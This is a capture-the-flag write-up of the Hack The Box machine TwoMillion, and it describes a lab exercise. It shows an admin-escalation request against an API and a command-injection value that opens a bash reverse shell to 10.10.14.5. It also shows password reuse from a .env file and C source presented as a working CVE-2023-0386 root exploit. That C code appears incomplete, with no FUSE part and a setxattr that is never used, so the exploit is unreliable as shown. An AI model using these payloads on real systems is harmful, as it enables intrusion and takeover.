TwoMillion is a Hack The Box machine that introduces us the old fashion way to create an account on Hack The Box, where we need to generate our invite code with a POST request. The rest of the box consists of an old Hack The Box website where we can exploit IDOR vulnerability to get admin rights and further use this to get some remote code execution on the box. On privilege escalation, we use CVE-2023-0386 to get root on the system.
Info
The information provided on this site is intended for educational purposes only. While we strive to offer accurate and up-to-date content regarding hacking and security, we cannot be held responsible for any misuse or illegal activity conducted with the knowledge gained from this site. Users are solely responsible for their actions and should use this information ethically and within the boundaries of the law.
Nmap Scan
As usual, we can start with a simple nmap scan.
┌──(kali㉿atropos)-[~]
└─$ sudo nmap -sV 10.10.11.221
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-13 20:23 EDT
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.00 seconds
Here we can see a nginx server running on port 80, so we navigate to the site, and as with many other boxes we need to add the host name to our \etc\hosts
file.
Initial Analysis
The web page is the old Hack The Box interface with the same process to get an account on it. I remember back and the day the first time I heard about Hack The Box, it was a real pain to make an account on it, I was really a beginner at this, I still have a lot to learn, but, is nice to see some progress, after all, “Progress is noticeable when the question that tortured us has lost it’s meaning.”
Where we just need to go to the join page, there, we will need an invite code, but we don’t have any.
To create an invite code we can check on the JavaScript files on that page, there, we can see a js file that is obfuscated, we can use a site like this (just remember to check the box Detect packers and obfuscators?
), on that file we can see a function called makeInviteCode()
, this function will create a POST request to an API on /api/v1/invite/how/to/generate
. From here we have 2 possible options to generate this invite code, our first option is to just go to the console on our web browser and execute the function makeInviteCode()
, or, we can create that request using curl
.
function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}
The simple way is to just execute the funcion on the browser.
The output is a ROT13 text, therefore we will need to decrypt it. To do this we can use the tr
command on Linux, we first will need to echo
that string and then pipe it to the tr:
┌──(kali㉿atropos)-[~]
└─$ echo "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
In order to generate the invite code, make a POST request to /api/v1/invite/generate
Now the text instruct us to make a POST request to /api/v1/invite/generate
, we can use curl
now to make this request:
┌──(kali㉿atropos)-[~]
└─$ curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"STdGV0wtNkgzREotNEk1WFItRjhNTUc=","format":"encoded"}}
The output of that request looks like a base64 encryption, again we can echo
that string and pipe it to base64 -d
:
┌──(kali㉿atropos)-[~]
└─$ echo "STdGV0wtNkgzREotNEk1WFItRjhNTUc=" | base64 -d
I7FWL-6H3DJ-4I5XR-F8MMG
Now we have our invite code, we can proceed to create our account. Once we get in, we can see the old Hack The Box UI:
Now we have 2 options to find the vulnerabilities we need to get user and root flag, we have 2 main attack surfaces here, the web page and the API. The web page looks complex, with a lot of possible sub-pages and options, the API on the other hand looks simpler so we can start on that and see if we can extract anything usefull.
API Enumeration
Lets try to fuzz with the requests with BurpSuite
and see if we can find anything usefull on the /api
routes. With a simple GET request on the path /api/v1
we can see the server responded with a list of endpoints that we can try to fuzz with.
One that caught my attention is on the PUT
section, the /api/v1/admin/settings/update
, this looks like some kind of functionalities that can give a certain user admin access. This is a clear IDOR(Insecure direct object references) vulnerabilities, we are having access to way more information that we should have.
Insecure direct object references (IDOR) is a web application security vulnerability that occurs when an application exposes internal object identifiers, such as database keys or file paths, to users without proper access controls.
https://www.imperva.com/learn/application-security/insecure-direct-object-reference-idor/#:~:text=Insecure%20direct%20object%20references%20(IDOR,users%20without%20proper%20access%20controls.
We can try to fiddle with that part of the API and see if we can give ourselves admin access. When we send a request with a wrong parameter or with wrong content type for example, the response is saying everything we need to change in order to craft a correct request. In the end we can use a request that looks like this:
We will need to change the Content-Type
(1) to application/json
and we will need to pass some parameter on the body of the request, in this case {"email":"test@test.com","is_admin":1}
this request will give admin rights to he account linked with the email provided. That way, we can use our cookie to access other API endpoints.
Getting a Shell
Now we can fuzz with all the API endpoits that we know, since we are now an admin. On the /api /v1/admin/generate
we can generate a vpn file for any user, point is, this username name parameter is being directly executed, that means, we have remove code execution. To exploit this, we can use the $(COMMAND)
notation, on Linux, this will execute the command inside the parenthesis, on a subshell, this is called Command Substitution.
To see if this is actually works on the machine, we can try to echo something out:
Now we can just make a reverse shell command and set up a netcat
listener as usual, for the body of that request we can use something like this:
{"username":"user$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/8002 0>&1')"}
Now we have access to the machine.
Lateral Movement
Once we get on the machine, we will have access to the user www-data
, we can use the user to look around the website files, here we will be looking for any type of password. On the php files we can see some references for database credentials, those credentials can be found on the .env
file:
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Now we have access to mysql
, but, before we log in to mysql
, we can try to use that password to login as admin, the other account on that machine:
www-data@2million:~/html$ su admin
Password:
admin@2million:~/html$
So it worked, now we can proceed to privilege escalation.
Privilege Escalation
As always the easiest step we can try to escalate our privileges is using the sudo -l
, that, on this machine, give us nothing. So, then we can try using linpeas, That will also give us nothing usefull. Now it just left to us try to check the Linux version on that machine and see if we can use any exploit to escalate our privileges:
www-data@2million:~/html$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Luckily for us this Linux version is vulnerable to CVE-2023-0386, to exploit this vulnerability we can use a proof of concept made by sxlmnwb on GitHub:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/capability.h>
// #include <attr/xattr.h>
// #include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
#define DIR_BASE "./ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"
static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}
static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t)strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}
static void xreadfile(const char *path)
{
int fd = open(path, O_RDONLY);
if (fd == -1)
err(1, "open %s", path);
int len = 0;
char data[0x100];
while (read(fd, data + len, 1) > 0)
{
len++;
}
data[len] = '\0';
puts(data);
printf("len %d\n", len);
close(fd);
}
void listCaps()
{
cap_t caps = cap_get_proc();
ssize_t y = 0;
printf("The process %d was give capabilities %s\n", (int)getpid(), cap_to_text(caps, &y));
fflush(0);
cap_free(caps);
}
static int exploit()
{
// init work;
char buf[4096];
sprintf(buf, "rm -rf '%s/*'", DIR_UPPER);
system(buf);
xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);
// mount overlay
uid_t uid = getuid();
gid_t gid = getgid();
printf("uid:%d gid:%d\n", uid, gid);
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
xwritefile("/proc/self/setgroups", "deny");
sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);
else
puts("[+] mount success");
sprintf(buf, "ls -la %s", DIR_MERGE);
system(buf);
sprintf(buf, "%s/file", DIR_MERGE);
int fd = open(buf, O_WRONLY | O_CREAT, 0666); // touch file
if (fd < 0)
perror("open");
close(fd);
// close fuse
// kill(pid, SIGINT);
return 0;
}
int main(int argc, char *argv[])
{
int pid = fork();
int stat;
if (pid == 0)
{
exploit();
exit(0);
}
wait(&stat);
// get shell
puts("[+] exploit success!");
char buf[0x100];
sprintf(buf, "%s/file", DIR_UPPER);
system(buf);
return 0;
}
Since this machine has gcc
installed, we can just copy the source code to the machine and compile it there and then execute. Once we execute it we will have a root shell, with that we can get our root flag.
root@2million:/root# ls
root.txt snap thank_you.json
root@2million:/root# cat root.txt